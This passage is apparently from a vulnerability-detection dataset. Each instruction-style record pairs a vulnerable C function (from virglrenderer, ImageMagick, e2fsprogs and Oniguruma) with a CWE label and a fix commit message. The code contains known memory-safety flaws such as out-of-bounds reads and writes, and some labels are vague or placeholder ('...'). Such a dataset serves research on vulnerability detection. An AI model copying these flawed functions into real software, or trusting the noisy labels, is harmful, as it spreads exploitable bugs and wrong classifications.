VIRGL_TRANSFER_TO_HOST:\n return vrend_renderer_transfer_write_iov(ctx, res, iov, num_iovs, info);\n case VIRGL_TRANSFER_FROM_HOST:\n return vrend_renderer_transfer_send_iov(res, iov, num_iovs, info);\n\n default:\n assert(0);\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'vrend: check transfer bounds for negative values too and report error\n\nCloses #138\n\nSigned-off-by: Gert Wollny \nReviewed-by: Emil Velikov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: char * unescape(char * dest, const char * src)\n {\n while (*src) {\n if (*src == '\\\\') {\n\t++src;\n\tswitch (*src) {\n\tcase 'n': *dest = '\\n'; break;\n\tcase 'r': *dest = '\\r'; break;\n\tcase 't': *dest = '\\t'; break;\n\tcase 'f': *dest = '\\f'; break;\n\tcase 'v': *dest = '\\v'; break;\n\tdefault: *dest = *src;\n\t}\n } else {\n\t*dest = *src;\n }\n ++src;\n ++dest;\n }\n *dest = '\\0';\n return dest;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix various bugs found by OSS-Fuze.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType TraceBezier(MVGInfo *mvg_info,\n const size_t number_coordinates)\n{\n double\n alpha,\n *coefficients,\n weight;\n\n PointInfo\n end,\n point,\n *points;\n\n PrimitiveInfo\n *primitive_info;\n\n register PrimitiveInfo\n *p;\n\n register ssize_t\n i,\n j;\n\n size_t\n control_points,\n quantum;\n\n /*\n Allocate coefficients.\n */\n primitive_info=(*mvg_info->primitive_info)+mvg_info->offset;\n quantum=number_coordinates;\n for (i=0; i < (ssize_t) number_coordinates; i++)\n {\n for (j=i+1; j < (ssize_t) number_coordinates; j++)\n {\n alpha=fabs(primitive_info[j].point.x-primitive_info[i].point.x);\n if (alpha > (double) SSIZE_MAX)\n {\n (void) ThrowMagickException(mvg_info->exception,GetMagickModule(),\n ResourceLimitError,\"MemoryAllocationFailed\",\"`%s'\",\"\");\n return(MagickFalse);\n }\n if (alpha > (double) quantum)\n quantum=(size_t) alpha;\n alpha=fabs(primitive_info[j].point.y-primitive_info[i].point.y);\n if (alpha > (double) SSIZE_MAX)\n {\n (void) ThrowMagickException(mvg_info->exception,GetMagickModule(),\n ResourceLimitError,\"MemoryAllocationFailed\",\"`%s'\",\"\");\n return(MagickFalse);\n }\n if (alpha > (double) quantum)\n quantum=(size_t) alpha;\n }\n }\n quantum=MagickMin(quantum/number_coordinates,BezierQuantum);\n primitive_info=(*mvg_info->primitive_info)+mvg_info->offset;\n coefficients=(double *) AcquireQuantumMemory(number_coordinates,\n sizeof(*coefficients));\n points=(PointInfo *) AcquireQuantumMemory(quantum,number_coordinates*\n sizeof(*points));\n if ((coefficients == (double *) NULL) || (points == (PointInfo *) NULL))\n {\n if (points != (PointInfo *) NULL)\n points=(PointInfo *) RelinquishMagickMemory(points);\n if (coefficients != (double *) NULL)\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n (void) ThrowMagickException(mvg_info->exception,GetMagickModule(),\n ResourceLimitError,\"MemoryAllocationFailed\",\"`%s'\",\"\");\n return(MagickFalse);\n }\n control_points=quantum*number_coordinates;\n if (CheckPrimitiveExtent(mvg_info,control_points+1) == MagickFalse)\n {\n points=(PointInfo *) RelinquishMagickMemory(points);\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n return(MagickFalse);\n }\n /*\n Compute bezier points.\n */\n end=primitive_info[number_coordinates-1].point;\n for (i=0; i < (ssize_t) number_coordinates; i++)\n coefficients[i]=Permutate((ssize_t) number_coordinates-1,i);\n weight=0.0;\n for (i=0; i < (ssize_t) control_points; i++)\n {\n p=primitive_info;\n point.x=0.0;\n point.y=0.0;\n alpha=pow((double) (1.0-weight),(double) number_coordinates-1.0);\n for (j=0; j < (ssize_t) number_coordinates; j++)\n {\n point.x+=alpha*coefficients[j]*p->point.x;\n point.y+=alpha*coefficients[j]*p->point.y;\n alpha*=weight/(1.0-weight);\n p++;\n }\n points[i]=point;\n weight+=1.0/control_points;\n }\n /*\n Bezier curves are just short segmented polys.\n */\n p=primitive_info;\n for (i=0; i < (ssize_t) control_points; i++)\n {\n if (TracePoint(p,points[i]) == MagickFalse)\n {\n points=(PointInfo *) RelinquishMagickMemory(points);\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n return(MagickFalse);\n }\n p+=p->coordinates;\n }\n if (TracePoint(p,end) == MagickFalse)\n {\n points=(PointInfo *) RelinquishMagickMemory(points);\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n return(MagickFalse);\n }\n p+=p->coordinates;\n primitive_info->coordinates=(size_t) (p-primitive_info);\n primitive_info->closed_subpath=MagickFalse;\n for (i=0; i < (ssize_t) primitive_info->coordinates; i++)\n {\n p->primitive=primitive_info->primitive;\n p--;\n }\n points=(PointInfo *) RelinquishMagickMemory(points);\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': '...'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadXWDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n#define CheckOverflowException(length,width,height) \\\n (((height) != 0) && ((length)/((size_t) height) != ((size_t) width)))\n\n char\n *comment;\n\n Image\n *image;\n\n IndexPacket\n index;\n\n int\n x_status;\n\n MagickBooleanType\n authentic_colormap;\n\n MagickStatusType\n status;\n\n register IndexPacket\n *indexes;\n\n register ssize_t\n x;\n\n register PixelPacket\n *q;\n\n register ssize_t\n i;\n\n register size_t\n pixel;\n\n size_t\n length;\n\n ssize_t\n count,\n y;\n\n unsigned long\n lsb_first;\n\n XColor\n *colors;\n\n XImage\n *ximage;\n\n XWDFileHeader\n header;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read in header information.\n */\n count=ReadBlob(image,sz_XWDheader,(unsigned char *) &header);\n if (count != sz_XWDheader)\n ThrowReaderException(CorruptImageError,\"UnableToReadImageHeader\");\n /*\n Ensure the header byte-order is most-significant byte first.\n */\n lsb_first=1;\n if ((int) (*(char *) &lsb_first) != 0)\n MSBOrderLong((unsigned char *) &header,sz_XWDheader);\n /*\n Check to see if the dump file is in the proper format.\n */\n if (header.file_version != XWD_FILE_VERSION)\n ThrowReaderException(CorruptImageError,\"FileFormatVersionMismatch\");\n if (header.header_size < sz_XWDheader)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n switch (header.visual_class)\n {\n case StaticGray:\n case GrayScale:\n {\n if (header.bits_per_pixel != 1)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n }\n case StaticColor:\n case PseudoColor:\n {\n if ((header.bits_per_pixel < 1) || (header.bits_per_pixel > 15) ||\n (header.ncolors == 0))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n }\n case TrueColor:\n case DirectColor:\n {\n if ((header.bits_per_pixel != 16) && (header.bits_per_pixel != 24) &&\n (header.bits_per_pixel != 32))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n }\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n switch (header.pixmap_format)\n {\n case XYBitmap:\n {\n if (header.pixmap_depth != 1)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n }\n case XYPixmap:\n case ZPixmap:\n {\n if ((header.pixmap_depth < 1) || (header.pixmap_depth > 32))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n switch (header.bitmap_pad)\n {\n case 8:\n case 16:\n case 32:\n break;\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n break;\n }\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n switch (header.bitmap_unit)\n {\n case 8:\n case 16:\n case 32:\n break;\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n switch (header.byte_order)\n {\n case LSBFirst:\n case MSBFirst:\n break;\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n switch (header.bitmap_bit_order)\n {\n case LSBFirst:\n case MSBFirst:\n break;\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n if (((header.bitmap_pad % 8) != 0) || (header.bitmap_pad > 32))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (header.ncolors > 65535)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n length=(size_t) (header.header_size-sz_XWDheader);\n if ((length+1) != ((size_t) ((CARD32) (length+1))))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n comment=(char *) AcquireQuantumMemory(length+1,sizeof(*comment));\n if (comment == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,length,(unsigned char *) comment);\n comment[length]='\\0';\n (void) SetImageProperty(image,\"comment\",comment);\n comment=DestroyString(comment);\n if (count != (ssize_t) length)\n ThrowReaderException(CorruptImageError,\"UnexpectedEndOfFile\");\n /*\n Initialize the X image.\n */\n ximage=(XImage *) AcquireMagickMemory(sizeof(*ximage));\n if (ximage == (XImage *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n ximage->depth=(int) header.pixmap_depth;\n ximage->format=(int) header.pixmap_format;\n ximage->xoffset=(int) header.xoffset;\n ximage->data=(char *) NULL;\n ximage->width=(int) header.pixmap_width;\n ximage->height=(int) header.pixmap_height;\n ximage->bitmap_pad=(int) header.bitmap_pad;\n ximage->bytes_per_line=(int) header.bytes_per_line;\n ximage->byte_order=(int) header.byte_order;\n ximage->bitmap_unit=(int) header.bitmap_unit;\n ximage->bitmap_bit_order=(int) header.bitmap_bit_order;\n ximage->bits_per_pixel=(int) header.bits_per_pixel;\n ximage->red_mask=header.red_mask;\n ximage->green_mask=header.green_mask;\n ximage->blue_mask=header.blue_mask;\n if ((ximage->width < 0) || (ximage->height < 0) || (ximage->depth < 0) ||\n (ximage->format < 0) || (ximage->byte_order < 0) ||\n (ximage->bitmap_bit_order < 0) || (ximage->bitmap_pad < 0) ||\n (ximage->bytes_per_line < 0))\n {\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n if ((ximage->width > 65535) || (ximage->height > 65535))\n {\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n if ((ximage->bits_per_pixel > 32) || (ximage->bitmap_unit > 32))\n {\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n x_status=XInitImage(ximage);\n if (x_status == 0)\n {\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n /*\n Read colormap.\n */\n authentic_colormap=MagickFalse;\n colors=(XColor *) NULL;\n if (header.ncolors != 0)\n {\n XWDColor\n color;\n\n colors=(XColor *) AcquireQuantumMemory((size_t) header.ncolors,\n sizeof(*colors));\n if (colors == (XColor *) NULL)\n {\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (i=0; i < (ssize_t) header.ncolors; i++)\n {\n count=ReadBlob(image,sz_XWDColor,(unsigned char *) &color);\n if (count != sz_XWDColor)\n {\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n colors[i].pixel=color.pixel;\n colors[i].red=color.red;\n colors[i].green=color.green;\n colors[i].blue=color.blue;\n colors[i].flags=(char) color.flags;\n if (color.flags != 0)\n authentic_colormap=MagickTrue;\n }\n /*\n Ensure the header byte-order is most-significant byte first.\n */\n lsb_first=1;\n if ((int) (*(char *) &lsb_first) != 0)\n for (i=0; i < (ssize_t) header.ncolors; i++)\n {\n MSBOrderLong((unsigned char *) &colors[i].pixel,\n sizeof(colors[i].pixel));\n MSBOrderShort((unsigned char *) &colors[i].red,3*\n sizeof(colors[i].red));\n }\n }\n /*\n Allocate the pixel buffer.\n */\n length=(size_t) ximage->bytes_per_line*ximage->height;\n if (CheckOverflowException(length,ximage->bytes_per_line,ximage->height))\n {\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n if (ximage->format != ZPixmap)\n {\n size_t\n extent;\n\n extent=length;\n length*=ximage->depth;\n if (CheckOverflowException(length,extent,ximage->depth))\n {\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n }\n ximage->data=(char *) AcquireQuantumMemory(length,sizeof(*ximage->data));\n if (ximage->data == (char *) NULL)\n {\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n count=ReadBlob(image,length,(unsigned char *) ximage->data);\n if (count != (ssize_t) length)\n {\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage->data=DestroyString(ximage->data);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n }\n /*\n Convert image to MIFF format.\n */\n image->columns=(size_t) ximage->width;\n image->rows=(size_t) ximage->height;\n image->depth=8;\n status=SetImageExtent(image,image->columns,image->rows);\n if (status == MagickFalse)\n {\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage->data=DestroyString(ximage->data);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n if ((header.ncolors == 0U) || (ximage->red_mask != 0) ||\n (ximage->green_mask != 0) || (ximage->blue_mask != 0))\n image->storage_class=DirectClass;\n else\n image->storage_class=PseudoClass;\n image->colors=header.ncolors;\n if (image_info->ping == MagickFalse)\n switch (image->storage_class)\n {\n case DirectClass:\n default:\n {\n register size_t\n color;\n\n size_t\n blue_mask,\n blue_shift,\n green_mask,\n green_shift,\n red_mask,\n red_shift;\n\n /*\n Determine shift and mask for red, green, and blue.\n */\n red_mask=ximage->red_mask;\n red_shift=0;\n while ((red_mask != 0) && ((red_mask & 0x01) == 0))\n {\n red_mask>>=1;\n red_shift++;\n }\n green_mask=ximage->green_mask;\n green_shift=0;\n while ((green_mask != 0) && ((green_mask & 0x01) == 0))\n {\n green_mask>>=1;\n green_shift++;\n }\n blue_mask=ximage->blue_mask;\n blue_shift=0;\n while ((blue_mask != 0) && ((blue_mask & 0x01) == 0))\n {\n blue_mask>>=1;\n blue_shift++;\n }\n /*\n Convert X image to DirectClass packets.\n */\n if ((image->colors != 0) && (authentic_colormap != MagickFalse))\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=XGetPixel(ximage,(int) x,(int) y);\n index=ConstrainColormapIndex(image,(ssize_t) (pixel >>\n red_shift) & red_mask);\n SetPixelRed(q,ScaleShortToQuantum(colors[(ssize_t) index].red));\n index=ConstrainColormapIndex(image,(ssize_t) (pixel >>\n green_shift) & green_mask);\n SetPixelGreen(q,ScaleShortToQuantum(colors[(ssize_t)\n index].green));\n index=ConstrainColormapIndex(image,(ssize_t) (pixel >>\n blue_shift) & blue_mask);\n SetPixelBlue(q,ScaleShortToQuantum(colors[(ssize_t) index].blue));\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n else\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=XGetPixel(ximage,(int) x,(int) y);\n color=(pixel >> red_shift) & red_mask;\n if (red_mask != 0)\n color=(color*65535UL)/red_mask;\n SetPixelRed(q,ScaleShortToQuantum((unsigned short) color));\n color=(pixel >> green_shift) & green_mask;\n if (green_mask != 0)\n color=(color*65535UL)/green_mask;\n SetPixelGreen(q,ScaleShortToQuantum((unsigned short) color));\n color=(pixel >> blue_shift) & blue_mask;\n if (blue_mask != 0)\n color=(color*65535UL)/blue_mask;\n SetPixelBlue(q,ScaleShortToQuantum((unsigned short) color));\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n break;\n }\n case PseudoClass:\n {\n /*\n Convert X image to PseudoClass packets.\n */\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\n {\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage->data=DestroyString(ximage->data);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].red=ScaleShortToQuantum(colors[i].red);\n image->colormap[i].green=ScaleShortToQuantum(colors[i].green);\n image->colormap[i].blue=ScaleShortToQuantum(colors[i].blue);\n }\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n index=ConstrainColormapIndex(image,(ssize_t) XGetPixel(ximage,(int)\n x,(int) y));\n SetPixelIndex(indexes+x,index);\n SetPixelRGBO(q,image->colormap+(ssize_t) index);\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n break;\n }\n }\n /*\n Free image and colormap.\n */\n if (header.ncolors != 0)\n colors=(XColor *) RelinquishMagickMemory(colors);\n ximage->data=DestroyString(ximage->data);\n ximage=(XImage *) RelinquishMagickMemory(ximage);\n if (EOFBlob(image) != MagickFalse)\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1553'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void check_reference(struct quota_handle *h, unsigned int blk)\n{\n\tif (blk >= h->qh_info.u.v2_mdqi.dqi_qtree.dqi_blocks)\n\t\tlog_err(\"Illegal reference (%u >= %u) in %s quota file. \"\n\t\t\t\"Quota file is probably corrupted.\\n\"\n\t\t\t\"Please run e2fsck (8) to fix it.\",\n\t\t\tblk,\n\t\t\th->qh_info.u.v2_mdqi.dqi_qtree.dqi_blocks,\n\t\t\tquota_type2name(h->qh_type));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'libsupport: add checks to prevent buffer overrun bugs in quota code\n\nA maliciously corrupted file systems can trigger buffer overruns in\nthe quota code used by e2fsck. To fix this, add sanity checks to the\nquota header fields as well as to block number references in the quota\ntree.\n\nAddresses: CVE-2019-5094\nAddresses: TALOS-2019-0887\nSigned-off-by: Theodore Ts'o '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env)\n{\n int r, num;\n OnigCodePoint c;\n OnigEncoding enc = env->enc;\n const OnigSyntaxType* syn = env->syntax;\n UChar* prev;\n UChar* p = *src;\n PFETCH_READY;\n\n start:\n if (PEND) {\n tok->type = TK_EOT;\n return tok->type;\n }\n\n tok->type = TK_STRING;\n tok->base = 0;\n tok->backp = p;\n\n PFETCH(c);\n if (IS_MC_ESC_CODE(c, syn)) {\n if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE;\n\n tok->backp = p;\n PFETCH(c);\n\n tok->u.c = c;\n tok->escaped = 1;\n switch (c) {\n case '*':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_ASTERISK_ZERO_INF)) break;\n tok->type = TK_OP_REPEAT;\n tok->u.repeat.lower = 0;\n tok->u.repeat.upper = REPEAT_INFINITE;\n goto greedy_check;\n break;\n\n case '+':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_PLUS_ONE_INF)) break;\n tok->type = TK_OP_REPEAT;\n tok->u.repeat.lower = 1;\n tok->u.repeat.upper = REPEAT_INFINITE;\n goto greedy_check;\n break;\n\n case '?':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_QMARK_ZERO_ONE)) break;\n tok->type = TK_OP_REPEAT;\n tok->u.repeat.lower = 0;\n tok->u.repeat.upper = 1;\n greedy_check:\n if (!PEND && PPEEK_IS('?') &&\n\t IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_NON_GREEDY)) {\n\tPFETCH(c);\n\ttok->u.repeat.greedy = 0;\n\ttok->u.repeat.possessive = 0;\n }\n else {\n possessive_check:\n\tif (!PEND && PPEEK_IS('+') &&\n\t ((IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT) &&\n\t tok->type != TK_INTERVAL) ||\n\t (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_INTERVAL) &&\n\t tok->type == TK_INTERVAL))) {\n\t PFETCH(c);\n\t tok->u.repeat.greedy = 1;\n\t tok->u.repeat.possessive = 1;\n\t}\n\telse {\n\t tok->u.repeat.greedy = 1;\n\t tok->u.repeat.possessive = 0;\n\t}\n }\n break;\n\n case '{':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) break;\n r = fetch_range_quantifier(&p, end, tok, env);\n if (r < 0) return r; /* error */\n if (r == 0) goto greedy_check;\n else if (r == 2) { /* {n} */\n\tif (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY))\n\t goto possessive_check;\n\n\tgoto greedy_check;\n }\n /* r == 1 : normal char */\n break;\n\n case '|':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_VBAR_ALT)) break;\n tok->type = TK_ALT;\n break;\n\n case '(':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break;\n tok->type = TK_SUBEXP_OPEN;\n break;\n\n case ')':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break;\n tok->type = TK_SUBEXP_CLOSE;\n break;\n\n case 'w':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_WORD;\n tok->u.prop.not = 0;\n break;\n\n case 'W':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_WORD;\n tok->u.prop.not = 1;\n break;\n\n case 'b':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_WORD_BOUND;\n tok->u.anchor.ascii_range = IS_ASCII_RANGE(env->option)\n\t\t&& ! IS_WORD_BOUND_ALL_RANGE(env->option);\n break;\n\n case 'B':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_NOT_WORD_BOUND;\n tok->u.anchor.ascii_range = IS_ASCII_RANGE(env->option)\n\t\t&& ! IS_WORD_BOUND_ALL_RANGE(env->option);\n break;\n\n#ifdef USE_WORD_BEGIN_END\n case '<':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_WORD_BEGIN;\n tok->u.anchor.ascii_range = IS_ASCII_RANGE(env->option);\n break;\n\n case '>':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_WORD_END;\n tok->u.anchor.ascii_range = IS_ASCII_RANGE(env->option);\n break;\n#endif\n\n case 's':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_SPACE;\n tok->u.prop.not = 0;\n break;\n\n case 'S':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_SPACE;\n tok->u.prop.not = 1;\n break;\n\n case 'd':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT;\n tok->u.prop.not = 0;\n break;\n\n case 'D':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT;\n tok->u.prop.not = 1;\n break;\n\n case 'h':\n if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT;\n tok->u.prop.not = 0;\n break;\n\n case 'H':\n if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT;\n tok->u.prop.not = 1;\n break;\n\n case 'A':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break;\n begin_buf:\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_BEGIN_BUF;\n break;\n\n case 'Z':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_SEMI_END_BUF;\n break;\n\n case 'z':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break;\n end_buf:\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_END_BUF;\n break;\n\n case 'G':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_CAPITAL_G_BEGIN_ANCHOR)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = ANCHOR_BEGIN_POSITION;\n break;\n\n case '`':\n if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break;\n goto begin_buf;\n break;\n\n case '\\'':\n if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break;\n goto end_buf;\n break;\n\n case 'x':\n if (PEND) break;\n\n prev = p;\n if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) {\n\tPINC;\n\tnum = scan_unsigned_hexadecimal_number(&p, end, 0, 8, enc);\n\tif (num < 0) return 